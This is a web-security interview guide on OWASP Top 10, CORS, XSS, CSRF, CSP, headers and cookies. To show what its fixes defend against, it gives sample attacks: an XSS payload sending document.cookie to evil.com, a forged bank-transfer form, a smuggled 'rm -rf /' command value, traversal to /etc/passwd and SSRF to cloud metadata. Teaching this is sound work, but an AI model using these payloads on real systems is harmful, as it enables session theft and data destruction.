Security: OWASP Fundamentals, CORS, CSP, XSS, CSRF
Understand common web security vulnerabilities and the mechanisms used to protect web applications.

Web Security โ Interview Preparation Guide
Topics: Security Fundamentals ยท OWASP ยท Same-Origin Policy ยท CORS ยท XSS ยท CSRF ยท CSP ยท Security Headers ยท Cookies ยท Other Common Attacks ยท Interview Q&A
#Table of Contents#
- Security Fundamentals
- OWASP Fundamentals
- Same-Origin Policy (SOP)
- CORS
- XSS
- CSRF
- CSP
- Other Security Headers
- Cookies & Browser Storage Security
- Other Common Attacks
- Secure Coding Checklist
- Comparison Tables & Cheat Sheet
- Interview Questions & Answers
1. Security Fundamentals
1.1 CIA Triad
| Pillar | Meaning | Example attack against it |
|---|---|---|
| Confidentiality | Only authorized people can read data | Data leak, SQL injection dumping users |
| Integrity | Data cannot be modified without authorization | Tampering, CSRF changing a password |
| Availability | System is usable when needed | DDoS, resource exhaustion |
1.2 Core Principles
- Defense in depth โ multiple layers (validation + encoding + CSP + WAF). Never rely on one control.
- Least privilege โ give users, services, DB accounts only the permissions they need.
- Fail securely โ on error, deny access (don't "fail open").
- Never trust the client โ all validation must be repeated on the server.
- Secure by default โ safe defaults, opt-in to risk.
- Minimize attack surface โ remove unused endpoints, packages, features.
- Keep it simple โ complexity breeds vulnerabilities.
1.3 Authentication vs Authorization
- Authentication (AuthN) โ Who are you? (login, MFA)
- Authorization (AuthZ) โ What are you allowed to do? (roles, permissions)
1.4 Threat Modeling โ STRIDE
| Letter | Threat | Violates |
|---|---|---|
| S | Spoofing identity | Authentication |
| T | Tampering with data | Integrity |
| R | Repudiation (denying an action) | Non-repudiation / logging |
| I | Information disclosure | Confidentiality |
| D | Denial of service | Availability |
| E | Elevation of privilege | Authorization |
1.5 Encoding vs Encryption vs Hashing
| Purpose | Reversible? | Example | |
|---|---|---|---|
| Encoding | Data representation | Yes (no key) | Base64, URL-encoding |
| Encryption | Confidentiality | Yes (with key) | AES, RSA |
| Hashing | Integrity / password storage | No | SHA-256, bcrypt, Argon2 |
โ ๏ธ Base64 is not security. Passwords must be hashed with a slow, salted algorithm (bcrypt / scrypt / Argon2), never plain SHA-256 or MD5.
2. OWASP Fundamentals
2.1 What is OWASP?
OWASP = Open Worldwide Application Security Project โ a non-profit foundation that publishes free, community-driven security resources.
Key projects:
- OWASP Top 10 โ most critical web app security risks (awareness document).
- ASVS (Application Security Verification Standard) โ detailed checklist of security requirements.
- OWASP Cheat Sheet Series โ practical guidance per topic (XSS, CSRF, Auth, etc.).
- OWASP ZAP โ free security scanner/proxy tool.
- OWASP Dependency-Check โ finds vulnerable libraries.
- WSTG (Web Security Testing Guide) โ pen-testing methodology.
- SAMM โ software assurance maturity model.
2.2 OWASP Top 10 (2021) โ the classic list asked in interviews
| # | Category | What it is | Prevention (short) |
|---|---|---|---|
| A01 | Broken Access Control | Users act outside their permissions (IDOR, privilege escalation, forced browsing, missing function-level checks) | Deny by default, server-side checks on every request, ownership checks, don't expose IDs blindly |
| A02 | Cryptographic Failures | Sensitive data exposed (no HTTPS, weak algorithms, plaintext passwords, hard-coded keys) | TLS everywhere, strong algorithms, hash passwords with bcrypt/Argon2, manage keys properly |
| A03 | Injection | Untrusted data interpreted as code/command (SQLi, NoSQLi, OS command, LDAP, XSS is included here) | Parameterized queries, ORM, input validation, output encoding |
| A04 | Insecure Design | Flaws in architecture/logic, not just code bugs | Threat modeling, secure design patterns, abuse-case tests |
| A05 | Security Misconfiguration | Default creds, verbose errors, open cloud buckets, missing headers, unnecessary features | Hardened configs, remove defaults, security headers, automate config review |
| A06 | Vulnerable & Outdated Components | Using libraries/frameworks with known CVEs | npm audit, Dependabot/Snyk, SBOM, update regularly |
| A07 | Identification & Authentication Failures | Weak passwords, credential stuffing, bad session handling | MFA, rate limiting, secure session mgmt, no default passwords |
| A08 | Software & Data Integrity Failures | Untrusted updates, insecure CI/CD, unsafe deserialization | Signed packages, verify integrity (SRI), secure pipeline |
| A09 | Security Logging & Monitoring Failures | Attacks go undetected | Log auth events/failures, centralize logs, alerting |
| A10 | Server-Side Request Forgery (SSRF) | Server fetches attacker-controlled URL, reaching internal services/metadata | Allow-list URLs, block internal IP ranges, network segmentation |
๐ Note: OWASP released an updated Top 10:2025 list (it adds/reshuffles items such as Software Supply Chain Failures and Mishandling of Exceptional Conditions, and folds SSRF into other categories). In an interview, say: "The 2021 list is the most widely cited; the 2025 edition keeps Broken Access Control at #1 and puts more emphasis on supply chain and misconfiguration." Verify the latest at owasp.org/Top10.
2.3 Deep dive: top items you must explain well
A01 โ Broken Access Control
- IDOR (Insecure Direct Object Reference):
GET /api/orders/1234โ attacker changes1234to1235and sees someone else's order. - Fix: On the server, verify
order.userId === currentUser.idโ never trust the ID alone. - Vertical escalation: normal user hits
/admin/delete-user. Horizontal escalation: user A accesses user B's data. - Others: missing CORS restrictions, JWT claim tampering, forced browsing (
/adminunprotected), metadata manipulation.
// โ Vulnerable
app.get('/api/orders/:id', async (req, res) => {
res.json(await Order.findById(req.params.id));
});
// โ
Secure โ ownership check
app.get('/api/orders/:id', auth, async (req, res) => {
const order = await Order.findOne({ _id: req.params.id, userId: req.user.id });
if (!order) return res.sendStatus(404);
res.json(order);
});
A03 โ Injection (SQL Injection example)
// โ Vulnerable: string concatenation
db.query(`SELECT * FROM users WHERE email = '${email}'`);
// email = ' OR '1'='1' -- โ returns all users
// โ
Secure: parameterized query
db.query('SELECT * FROM users WHERE email = $1', [email]);
NoSQL injection (MongoDB): { "email": { "$ne": null }, "password": { "$ne": null } } bypasses login. Fix: validate types, use express-mongo-sanitize, schema validation (Zod/Joi).
A02 โ Cryptographic Failures
- Enforce HTTPS + HSTS.
- Store passwords:
bcrypt.hash(password, 12). - Don't log secrets/tokens; keep secrets in env vars / secret manager, never in Git.
- Use modern TLS (1.2+/1.3).
A07 โ Authentication Failures
- Rate-limit login, lock/slow after repeated failures, support MFA.
- Generic error message ("Invalid credentials") โ avoid user enumeration.
- Regenerate session ID after login (prevents session fixation).
- Short-lived access tokens + refresh tokens; secure logout.
A10 โ SSRF
- App has
GET /fetch?url=.... Attacker passeshttp://169.254.169.254/latest/meta-data/(cloud metadata) orhttp://localhost:6379. - Fix: allow-list domains, resolve DNS and block private/loopback IPs, disable redirects, isolate network.
3. Same-Origin Policy (SOP)
Foundation for CORS, XSS and CSRF โ be crystal clear here.
3.1 What is an Origin?
Origin = scheme (protocol) + host (domain) + port
URL compared to https://app.com:443/page | Same origin? | Why |
|---|---|---|
https://app.com/other | โ Yes | Same scheme/host/port |
http://app.com | โ No | Different scheme |
https://api.app.com | โ No | Different host (subdomain) |
https://app.com:8080 | โ No | Different port |
3.2 What SOP does
A script from origin A cannot read responses/DOM/storage of origin B.
- โ
Cross-origin sending is allowed (forms,
<img>,<script src>,<link>, fetch requests are sent). - โ Cross-origin reading of the response is blocked (e.g.,
fetch()/ XHR result). - Storage (
localStorage,IndexedDB, cookies) is partitioned/scoped by origin (cookies by domain/path).
๐ Key interview insight: SOP blocks reading responses, not sending requests. That's exactly why CSRF still works even with SOP in place.
3.3 Ways to relax SOP
- CORS (recommended, server-controlled)
postMessage(cross-window communication โ always validateevent.origin)document.domain(deprecated)- JSONP (legacy, insecure)
4. CORS (Cross-Origin Resource Sharing)
4.1 What & Why
CORS is an HTTP-header-based mechanism that lets a server tell the browser: "it's okay for origin X to read my responses." It relaxes SOP in a controlled way.
โ ๏ธ CORS is enforced by the browser only. It does not protect your server from
curl, Postman, or other servers. It is not an authentication mechanism.
4.2 Core Headers
Response headers (server โ browser)
| Header | Purpose |
|---|---|
Access-Control-Allow-Origin | Which origin may read the response (https://app.com or *) |
Access-Control-Allow-Methods | Allowed HTTP methods (preflight response) |
Access-Control-Allow-Headers | Allowed request headers (preflight response) |
Access-Control-Allow-Credentials | true โ allow cookies/auth headers |
Access-Control-Max-Age | How long (sec) to cache preflight result |
Access-Control-Expose-Headers | Which response headers JS may read |
Vary: Origin | Needed when ACAO value changes per origin (cache correctness) |
Request headers (browser โ server)
Origin, Access-Control-Request-Method, Access-Control-Request-Headers
4.3 Simple vs Preflighted Requests
Simple request (no preflight) must satisfy ALL:
- Method:
GET,HEAD, orPOST - Only "safe" headers (
Accept,Accept-Language,Content-Language,Content-Type) Content-Typeis only one of:application/x-www-form-urlencoded,multipart/form-data,text/plain
Preflighted request โ anything else, e.g.:
- Methods
PUT,DELETE,PATCH Content-Type: application/json- Custom headers like
Authorization,X-Custom
The browser first sends an automatic OPTIONS request:
OPTIONS /api/data HTTP/1.1
Origin: https://app.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type, authorization
Server replies:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: content-type, authorization
Access-Control-Max-Age: 600
If approved โ browser sends the real request.
4.4 Flow Diagram
Browser (app.com) Server (api.com)
| 1. OPTIONS (preflight) ------------------> |
| <------ 2. 204 + Access-Control-Allow-* --- |
| 3. Actual request (PUT/JSON) ------------> |
| <------ 4. Response + ACAO header --------- |
| 5. Browser checks ACAO โ JS can read it |
4.5 Credentials (cookies) with CORS
- Client must opt in:
fetch(url, { credentials: 'include' })(orwithCredentials: truein axios). - Server must send
Access-Control-Allow-Credentials: true. - With credentials,
Access-Control-Allow-OriginCANNOT be*โ must be a specific origin. Same for allowed headers/methods wildcard.
4.6 Express Implementation
import cors from 'cors';
const allowList = ['https://app.com', 'https://admin.app.com'];
app.use(cors({
origin: (origin, cb) => {
// allow non-browser tools (no Origin) or allow-listed origins
if (!origin || allowList.includes(origin)) return cb(null, true);
cb(new Error('Not allowed by CORS'));
},
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 600,
}));
4.7 Common CORS Errors & Fixes
| Error | Cause | Fix |
|---|---|---|
| No 'Access-Control-Allow-Origin' header present | Server didn't send ACAO | Add CORS middleware / header |
| Wildcard '' not allowed when credentials mode is 'include'* | * + credentials | Echo specific origin |
| Preflight response not successful / invalid status | OPTIONS not handled / auth required on OPTIONS | Handle OPTIONS before auth middleware |
| Request header not allowed | Missing in Allow-Headers | Add header to allow list |
| Method not allowed | Missing in Allow-Methods | Add method |
๐ก In development, a proxy (Vite/Next
rewrites, CRA proxy) avoids CORS since requests become same-origin.
4.8 CORS Misconfigurations (security issues)
- โ Reflecting any
Originheader back +Allow-Credentials: trueโ any site can read authenticated data. - โ
Access-Control-Allow-Origin: null(exploitable via sandboxed iframes). - โ Weak regex validation (
endsWith('app.com')matchesevilapp.com). - โ Trusting all subdomains when one is vulnerable (subdomain takeover / XSS).
- โ
Use a strict allow-list, add
Vary: Origin, never use*for authenticated APIs.
4.9 CORS โ CSRF protection
CORS stops a malicious site from reading the response. A simple cross-site POST is still sent (and may change state). So you still need CSRF defenses.
5. XSS (Cross-Site Scripting)
5.1 Definition
Attacker injects malicious JavaScript into a page viewed by other users. The script runs in the victim's browser under the site's origin, bypassing SOP.
5.2 Impact
- Steal session cookies / tokens (if not
HttpOnly) /localStoragedata - Perform actions as the user (post, transfer, change email)
- Keylogging, form hijacking, fake login forms (phishing)
- Redirect to malicious sites, deface page, crypto-mining
- Spread as a worm
5.3 Types
| Type | Where payload lives | How it fires | Example |
|---|---|---|---|
| Stored (Persistent) | Saved in DB (comments, profiles) | Every user who views the page | Malicious comment <script>โฆ</script> |
| Reflected (Non-persistent) | In request (URL/param), echoed in response | Victim clicks crafted link | /search?q=<script>โฆ</script> |
| DOM-based | Never reaches server; client JS writes unsafe data to DOM | Client-side sink executes it | innerHTML = location.hash |
Stored is the most dangerous (no user interaction beyond visiting). DOM XSS is invisible to server-side filters.
5.4 Example Attacks
<!-- Basic -->
<script>fetch('https://evil.com?c=' + document.cookie)</script>
<!-- No <script> needed -->
<img src=x onerror="alert(document.domain)">
<svg onload=alert(1)>
<a href="javascript:alert(1)">click</a>
DOM XSS:
// โ Vulnerable
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greet').innerHTML = 'Hello ' + name;
// URL: ?name=<img src=x onerror=alert(1)>
// โ
Safe
document.getElementById('greet').textContent = 'Hello ' + name;
5.5 Dangerous Sinks (know these!)
innerHTML, outerHTML, document.write(), insertAdjacentHTML, eval(), setTimeout("string"), new Function(), location = userInput / href="javascript:", React's dangerouslySetInnerHTML, Angular bypassSecurityTrust*, Vue v-html, jQuery .html().
Safe alternatives: textContent, innerText, setAttribute (for non-event/URL attrs), createElement + appendChild.
5.6 Prevention (Defense in Depth)
- Output encoding / escaping (primary defense) โ encode based on context:
Context Encoding HTML body HTML-entity encode ( <โ<)HTML attribute Attribute encode + always quote attributes JavaScript JS/Unicode escape (avoid inserting data into scripts) URL encodeURIComponentCSS CSS escape - Use frameworks with auto-escaping โ React, Angular, Vue escape by default.
- Sanitize HTML when you must allow it โ use DOMPurify (never hand-rolled regex).
import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(dirtyHtml); <div dangerouslySetInnerHTML={{ __html: clean }} /> - Input validation โ allow-list formats (email, number), reject the rest (helps, but is not the main defense).
- CSP โ blocks inline scripts and untrusted sources (see ยง7).
HttpOnlycookies โ JS can't read them, limiting token theft.- Validate URLs โ only allow
http:/https:protocols for user links (blockjavascript:). - Trusted Types (browser API) โ enforces safe DOM sink usage.
- Avoid
eval, inline event handlers, anddocument.write.
5.7 XSS in React
- JSX
{userInput}is auto-escaped โ . - Risky:
dangerouslySetInnerHTML,href={userInput}(javascript:URLs), rendering unsanitized markdown/HTML,ref.current.innerHTML = ..., server-side rendering of unescaped JSON into<script>(escape<as\u003c).
5.8 XSS in Next.js / SSR
- Don't inject raw user data into
<script>blocks; serialize safely. - Use CSP with nonces via middleware.
- Sanitize any CMS/markdown HTML before
dangerouslySetInnerHTML.
5.9 Blind XSS & Self-XSS (bonus)
- Blind XSS: payload stored and triggered later in an admin panel/back-office.
- Self-XSS: victim tricked into pasting code into their own console (social engineering).
6. CSRF (Cross-Site Request Forgery)
6.1 Definition
Attacker tricks a logged-in user's browser into sending an unwanted, authenticated request to a trusted site. The browser automatically attaches cookies, so the server believes the request is legitimate.
6.2 Conditions required
- A relevant state-changing action exists (transfer money, change email/password).
- Authentication relies on cookies (or other auto-sent credentials like Basic Auth).
- Request has no unpredictable parameters (no CSRF token).
6.3 Attack example
User is logged into bank.com. They visit evil.com, which contains:
<!-- GET-based -->
<img src="https://bank.com/transfer?to=attacker&amount=5000">
<!-- POST-based, auto-submitted -->
<form action="https://bank.com/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById('f').submit()</script>
Browser sends the request with the bank.com session cookie โ money moves.
6.4 Why SOP/CORS don't stop it
The request is sent; the attacker doesn't need to read the response. SOP only blocks reading.
6.5 Prevention
1. Anti-CSRF (Synchronizer) Token
- Server generates a random, unpredictable token per session (or per request), embeds it in forms / returns it to the client.
- Client sends it in a hidden field or custom header; server verifies it.
- Attacker's site cannot read the token (SOP) โ cannot forge request.
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="a8f3...random">
...
</form>
// Express (csrf-sync / csrf-csrf library; `csurf` is deprecated)
import { csrfSync } from 'csrf-sync';
const { csrfSynchronisedProtection } = csrfSync();
app.use(csrfSynchronisedProtection);
2. Double-Submit Cookie
- Token set in a cookie and sent in request header/body; server checks they match. Stateless, but use a signed/HMAC token and avoid subdomain cookie-injection risks.
3. SameSite Cookie Attribute (modern, strong)
| Value | Behavior |
|---|---|
Strict | Cookie never sent on cross-site requests (even top-level navigation links) |
Lax | Sent on cross-site top-level GET navigations only (safe methods); blocked for cross-site POST/iframes/fetch. Default in modern browsers |
None | Sent always (requires Secure) โ needed for third-party contexts |
Set-Cookie: sid=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
SameSite is great defense in depth, but don't rely on it alone (same-site subdomain attacks, older browsers,
Laxallows GET navigations, Chrome's "Lax+POST" two-minute grace window for cookies without explicit SameSite).
4. Verify Origin / Referer headers
Server checks the request comes from an allowed origin. Reject if missing/mismatched (for state-changing requests).
5. Custom request header (for AJAX/APIs)
Require e.g. X-Requested-With / X-CSRF-Token. Cross-origin custom headers force a CORS preflight, which the attacker's site can't pass.
6. Require re-authentication / CAPTCHA / MFA for sensitive actions
7. Use proper HTTP methods
Never change state with GET. Use POST/PUT/PATCH/DELETE.
8. Use token-based auth in headers
If JWT is sent via Authorization: Bearer header (not cookie), browsers don't auto-attach it โ classic CSRF doesn't apply (but token storage then raises XSS concerns).
6.6 Login CSRF
Attacker forces victim to log in as the attacker's account, then victim's activity (searches, saved cards) goes into attacker's account. Fix: CSRF tokens on login forms too.
6.7 CSRF vs XSS (very common question)
| XSS | CSRF | |
|---|---|---|
| Attack | Run attacker's script in victim's browser | Make victim's browser send a forged request |
| Exploits | User's trust in the site | Site's trust in the user's browser |
| Needs script execution? | Yes | No |
| Can read response/data? | Yes | No (blind) |
| Defeated by CSRF token? | No โ script can read token & bypass | Yes |
| Main defenses | Output encoding, CSP, sanitization | CSRF tokens, SameSite, Origin check |
๐ XSS can defeat all CSRF protections (the injected script can fetch the token). Fix XSS first.
7. CSP (Content Security Policy)
7.1 What is it?
An HTTP response header (or <meta> tag) that tells the browser which sources of content are trusted (scripts, styles, images, frames, etc.). It's a powerful second line of defense against XSS, clickjacking and data injection.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src 'self' data:
7.2 Important Directives
| Directive | Controls |
|---|---|
default-src | Fallback for other fetch directives |
script-src | JavaScript sources |
style-src | CSS sources |
img-src | Images |
font-src | Fonts |
connect-src | fetch, XHR, WebSocket, EventSource targets |
media-src | Audio/video |
object-src | <object>, <embed> (set to 'none') |
frame-src / child-src | Frames embedded by your page |
frame-ancestors | Who can embed your page (anti-clickjacking; replaces X-Frame-Options) |
base-uri | Restricts <base> tag (set to 'self'/'none') |
form-action | Where forms can submit |
upgrade-insecure-requests | Auto-upgrade HTTP โ HTTPS |
report-uri / report-to | Where to send violation reports |
require-trusted-types-for | Enforce Trusted Types |
7.3 Source Values
| Value | Meaning |
|---|---|
'self' | Same origin |
'none' | Block everything |
https: | Any HTTPS source |
https://cdn.com | Specific host |
'unsafe-inline' | Allows inline scripts/styles โ defeats XSS protection โ |
'unsafe-eval' | Allows eval() โ |
'nonce-<random>' | Allow only tags carrying matching nonce โ |
'sha256-<hash>' | Allow only inline script matching hash โ |
'strict-dynamic' | Trust scripts loaded by an already-trusted (nonce'd) script |
7.4 Nonce-based Strict CSP (best practice)
Server generates a fresh random nonce per response:
Content-Security-Policy: script-src 'nonce-r4nd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none';
<script nonce="r4nd0m123">/* allowed */</script>
<script>/* injected by attacker โ BLOCKED (no nonce) */</script>
Nonce must be unpredictable and unique per request, never static.
7.5 Report-Only Mode (safe rollout)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Logs violations without blocking โ tune the policy first, then enforce.
7.6 Implementation
Express + Helmet
import helmet from 'helmet';
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'"],
imgSrc: ["'self'", 'data:'],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
},
}));
Next.js (middleware with nonce)
// middleware.js
import { NextResponse } from 'next/server';
export function middleware(req) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = `default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; style-src 'self' 'nonce-${nonce}'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';`;
const headers = new Headers(req.headers);
headers.set('x-nonce', nonce);
headers.set('Content-Security-Policy', csp);
const res = NextResponse.next({ request: { headers } });
res.headers.set('Content-Security-Policy', csp);
return res;
}
7.7 Common Problems & Tips
- Inline scripts/styles & event handlers (
onclick=) break โ move to external files or use nonces/hashes. - Third-party scripts (analytics, ads) widen the policy โ list them explicitly and minimize.
- Whitelist-only CSPs (long host lists) are often bypassable (JSONP endpoints, Angular CDN gadgets) โ prefer nonce + strict-dynamic.
- CSP does not replace output encoding โ it's defense in depth.
- Test with browser DevTools console and tools like Google CSP Evaluator.
7.8 Subresource Integrity (SRI)
Ensures CDN files haven't been tampered with:
<script src="https://cdn.com/lib.js"
integrity="sha384-abc123..."
crossorigin="anonymous"></script>
8. Other Security Headers
| Header | Purpose | Recommended value |
|---|---|---|
| Strict-Transport-Security (HSTS) | Forces HTTPS for future visits, prevents SSL-stripping | max-age=63072000; includeSubDomains; preload |
| X-Content-Type-Options | Stops MIME-sniffing | nosniff |
| X-Frame-Options | Clickjacking protection (legacy; prefer CSP frame-ancestors) | DENY or SAMEORIGIN |
| Referrer-Policy | Controls Referer leakage | strict-origin-when-cross-origin or no-referrer |
| Permissions-Policy | Restricts browser features (camera, mic, geolocation) | camera=(), microphone=(), geolocation=() |
| Cross-Origin-Opener-Policy (COOP) | Isolates browsing context group | same-origin |
| Cross-Origin-Embedder-Policy (COEP) | Requires CORS/CORP for embedded resources | require-corp |
| Cross-Origin-Resource-Policy (CORP) | Who can load this resource | same-origin / same-site |
| Cache-Control | Avoid caching sensitive responses | no-store for private data |
| Set-Cookie flags | See ยง9 | HttpOnly; Secure; SameSite |
Easiest setup in Express: app.use(helmet()) sets most of these.
9. Cookies & Browser Storage Security
9.1 Cookie Security Attributes
| Attribute | Effect |
|---|---|
HttpOnly | JS cannot read cookie (document.cookie) โ mitigates XSS token theft |
Secure | Cookie only sent over HTTPS |
SameSite=Strict/Lax/None | Controls cross-site sending โ mitigates CSRF |
Domain / Path | Scope of cookie |
Max-Age / Expires | Lifetime (use short for sessions) |
__Host- prefix | Requires Secure, Path=/, no Domain โ can't be overwritten by subdomains |
__Secure- prefix | Requires Secure |
Set-Cookie: __Host-sid=abc123; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=3600
9.2 localStorage vs sessionStorage vs Cookies
| localStorage | sessionStorage | Cookies (HttpOnly) | |
|---|---|---|---|
| Accessible by JS | โ | โ | โ |
| Sent automatically | โ | โ | โ |
| Vulnerable to XSS theft | โ Yes | โ Yes | โ (HttpOnly) |
| Vulnerable to CSRF | โ | โ | โ (mitigate w/ SameSite + tokens) |
| Lifetime | Persistent | Tab session | Configurable |
Interview takeaway: Storing JWT in localStorage โ XSS risk. Storing in cookie โ CSRF risk (mitigated by
HttpOnly + Secure + SameSite+ CSRF token). Best practice for many apps: short-lived access token in memory + refresh token inHttpOnly; Secure; SameSitecookie.
9.3 Session Management Best Practices
- Generate long, random session IDs; regenerate on login/privilege change (prevent session fixation).
- Set idle + absolute timeouts; invalidate on server at logout.
- Bind sessions loosely to context if appropriate; detect anomalies.
10. Other Common Attacks
10.1 Clickjacking
Attacker embeds your site in a transparent <iframe> and tricks the user into clicking hidden buttons.
Fix: Content-Security-Policy: frame-ancestors 'none' (or 'self'), plus X-Frame-Options: DENY.
10.2 SQL / NoSQL / Command Injection
- Use parameterized queries / ORMs; never concatenate input.
- For OS commands: avoid
exec; useexecFilewith argument arrays, validate inputs.
// โ exec(`ping ${host}`) โ host = "8.8.8.8; rm -rf /"
// โ
execFile('ping', ['-c', '1', host]) (plus validate host)
10.3 Path Traversal
GET /files?name=../../etc/passwd
Fix: path.resolve then verify result starts with allowed base dir; use allow-lists; don't expose file paths.
10.4 Open Redirect
/login?redirect=https://evil.com โ used in phishing.
Fix: allow-list redirect targets or only allow relative paths.
10.5 SSRF
Covered in ยง2.3 (A10) โ allow-list outbound URLs, block internal IPs.
10.6 Prototype Pollution (JS-specific)
Attacker sets __proto__ / constructor.prototype via merge/parse of untrusted JSON, altering all objects.
JSON.parse('{"__proto__": {"isAdmin": true}}'); // + unsafe deep merge โ ({}).isAdmin === true
Fix: use Object.create(null), Map, schema validation, block __proto__/constructor/prototype keys, keep libs updated (lodash etc.).
10.7 ReDoS (Regex DoS)
Catastrophic backtracking regexes (e.g., (a+)+$) hang the event loop. Fix: safe regexes, input length limits, re2.
10.8 Insecure Deserialization
Never deserialize untrusted data into objects/code. Use JSON + schema validation, not eval/node-serialize.
10.9 Brute Force / Credential Stuffing / DoS
Rate limit (express-rate-limit), CAPTCHA, account lockout/backoff, MFA, IP reputation, WAF.
10.10 Man-in-the-Middle (MITM)
HTTPS/TLS everywhere, HSTS, certificate validation, avoid mixed content.
10.11 Supply Chain / Dependency Attacks
Typosquatting, malicious packages, compromised maintainers.
Fix: lock files, npm audit, Dependabot/Snyk, review new deps, npm ci, SRI, minimal dependencies, 2FA on registries.
10.12 Mass Assignment
Binding request body directly to model lets attacker set role: "admin".
// โ User.create(req.body)
// โ
const { name, email } = req.body; User.create({ name, email });
10.13 JWT-specific issues
alg: noneacceptance, weak HMAC secret, not verifying signature/exp/aud/iss.- Always verify with a fixed algorithm, keep secrets strong, short expiry, and a revocation strategy.
11. Secure Coding Checklist
Input / Output
- Validate all input on the server (type, length, format, allow-list; use Zod/Joi)
- Context-aware output encoding; avoid dangerous sinks
- Parameterized queries only
Authentication & Session
- Hash passwords (bcrypt/Argon2), enforce MFA where possible
- Cookies:
HttpOnly; Secure; SameSite - Rate limit login & sensitive endpoints; generic error messages
- Regenerate session on login; proper logout/invalidation
Access Control
- Deny by default; check authorization server-side on every request
- Verify object ownership (prevent IDOR)
Browser Protections
- CSRF tokens / SameSite for cookie-based auth
- CORS strict allow-list (no
*with credentials; no origin reflection) - CSP (nonce-based,
object-src 'none',frame-ancestors) - HSTS,
nosniff, Referrer-Policy, Permissions-Policy (via Helmet) - SRI for third-party scripts
Infrastructure & Process
- HTTPS everywhere, modern TLS
- Secrets in env/secret manager, never in Git
-
npm audit/ Dependabot in CI; lockfiles - Generic error messages to users, detailed logs internally (no stack traces in prod)
- Log + monitor auth failures and suspicious activity
- Least-privilege DB/cloud credentials
- Regular pen-tests, code review, threat modeling
12. Comparison Tables & Cheat Sheet
12.1 XSS vs CSRF vs CORS vs CSP (one-glance)
| XSS | CSRF | CORS | CSP | |
|---|---|---|---|---|
| What is it? | Attack: inject script | Attack: forged authenticated request | Browser mechanism to relax SOP | Defense: browser content allow-list |
| Side | Client-side exploit | Client-triggered, server-affected | Server header + browser enforcement | Server header + browser enforcement |
| Goal | Run JS in victim's origin | Perform action as victim | Allow safe cross-origin reads | Limit what can load/execute |
| Key defense | Encode output, sanitize, CSP | Token, SameSite, Origin check | Strict allow-list origin | Nonce + strict-dynamic |
12.2 Which defense stops which attack?
| Attack | Primary defense | Secondary defense |
|---|---|---|
| XSS | Output encoding / sanitization | CSP, HttpOnly, Trusted Types |
| CSRF | CSRF token / SameSite | Origin check, custom headers, re-auth |
| Clickjacking | CSP frame-ancestors | X-Frame-Options |
| SQL Injection | Parameterized queries | Least-privilege DB user, validation |
| IDOR / Broken AC | Server-side ownership checks | Indirect refs, logging |
| SSRF | URL allow-list | Network segmentation, block metadata IPs |
| MITM | HTTPS + HSTS | Cert pinning (mobile), secure cookies |
| Token theft | HttpOnly cookies | Short expiry, CSP, rotation |
| Brute force | Rate limiting + MFA | CAPTCHA, lockout |
12.3 Quick-fire Definitions
- SOP โ browser rule blocking cross-origin reads.
- CORS โ server opt-in to relax SOP for chosen origins.
- Preflight โ automatic
OPTIONScheck before "non-simple" cross-origin requests. - XSS โ attacker script runs in victim's browser on your origin.
- CSRF โ victim's browser tricked into sending an authenticated request.
- CSP โ header whitelisting allowed content sources.
- HSTS โ forces browsers to use HTTPS.
- SameSite โ cookie attribute controlling cross-site sending.
- HttpOnly โ cookie hidden from JS.
- IDOR โ accessing others' objects by changing an ID.
- Nonce โ one-time random value to mark trusted inline scripts.
- SRI โ hash check to verify third-party files.
13. Interview Questions & Answers
๐น OWASP & General
Q1. What is OWASP and the OWASP Top 10? OWASP is a non-profit that publishes free application-security resources. The Top 10 is a regularly updated awareness list of the most critical web app risks (Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Misconfiguration, Vulnerable Components, Auth Failures, Integrity Failures, Logging Failures, SSRF in the 2021 edition).
Q2. Why is Broken Access Control #1? It's the most common finding โ apps often forget server-side authorization checks (IDOR, missing role checks, forced browsing). Hiding a button in the UI is not security; the server must enforce permissions.
Q3. Difference between authentication and authorization? AuthN verifies identity; AuthZ decides permitted actions for that identity.
Q4. What is defense in depth? Layering several controls so if one fails, others still protect (e.g., encoding + CSP + HttpOnly cookies against XSS).
Q5. How do you securely store passwords? Hash with a slow, salted, adaptive algorithm (bcrypt/scrypt/Argon2). Never store plaintext or use fast hashes like MD5/SHA-1/plain SHA-256. Optionally add a pepper.
Q6. How do you prevent SQL injection? Parameterized queries / prepared statements or ORM, input validation, least-privilege DB accounts, avoid dynamic SQL concatenation.
Q7. What is IDOR and how do you prevent it? Accessing objects by manipulating identifiers. Prevent by checking ownership/permission server-side on every request; don't rely on obscurity of IDs (UUIDs help but aren't a fix).
Q8. What is SSRF? Tricking the server into making requests to internal/unauthorized resources (e.g., cloud metadata). Prevent via URL allow-lists, blocking private IP ranges, disabling redirects, network isolation.
๐น SOP & CORS
Q9. What is the Same-Origin Policy? Browser security rule restricting scripts from one origin (scheme+host+port) from reading data of another origin.
Q10. What is CORS and why does it exist? A header-based mechanism that lets servers selectively allow cross-origin reads, relaxing SOP so legitimate cross-origin APIs can work.
Q11. What is a preflight request?
An automatic OPTIONS request sent before "non-simple" cross-origin requests (custom headers, JSON content type, PUT/DELETE) to ask the server whether the actual request is permitted.
Q12. Why can't you use Access-Control-Allow-Origin: * with credentials?
Because it would let any website make credentialed requests and read user-specific responses. Browsers forbid it; the server must name a specific origin.
